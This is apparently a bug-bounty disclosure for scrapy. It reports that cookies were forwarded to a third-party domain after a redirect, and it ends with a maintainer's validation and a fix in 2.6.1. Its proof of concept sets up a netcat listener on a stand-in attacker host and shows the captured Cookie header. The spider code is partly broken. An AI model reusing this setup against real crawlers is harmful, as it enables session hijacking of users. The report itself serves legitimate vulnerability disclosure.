Exposure of Sensitive Information to an Unauthorized Actor in scrapy/scrapy


Reported on

Jan 5th 2022


Cookie header leaked to third party site and it allow to hijack victim account


When you crawling a site with cookie and it received Location header to redirect then scrappy send all cookie to this redirect url even if this is different domain . But every browser works different way . browser does not send cookie of one domain to other domain due to same-origin-policy . As cookie is main way for user authentication ,so if cookie is leaked then attacker can performed any action using those leaked cookie . But here scrapy leaked cookie to thirdparty site if redirect happen .


if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .

First setup a webserver and a netcat listner


header("Location: $url");

/* Make sure that code below does not get executed when we redirect. */

netcat listner in http://attacker.com

nc -lnvp 8182


run bellow code

class QuotesSpider(scrapy.Spider):
    name = "quotes"

    def start_requests(self):
        urls = [
        for url in urls:
            yield scrapy.Request(url=url,cookies={'currency': 'USD', 'country': 'UY'},callback=self.parse)

    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'quotes-{page}.html'
        with open(filename, 'wb') as f:
        self.log(f'Saved file {filename}')

response received in attacker netcat

Connection from 46190 received!
GET /robots.txt HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
User-Agent: Scrapy/2.5.1 (+https://scrapy.org)
Accept-Encoding: gzip, deflate, br
Cookie: currency=USD; country=UY
Host: mysite.com:8182

So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site


If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.

We are processing your report and will contact the scrapy team within 24 hours. a year ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
We have opened a pull request with a SECURITY.md for scrapy to merge. a year ago
Adrián Chaves validated this vulnerability a year ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
Adrián Chaves
a year ago


Thank you. We are working on a fix.

We have sent a fix follow up to the scrapy team. We will try again in 7 days. a year ago
We have sent a second fix follow up to the scrapy team. We will try again in 10 days. a year ago
Adrián Chaves marked this as fixed in 2.6.1 with commit 8ce01b a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation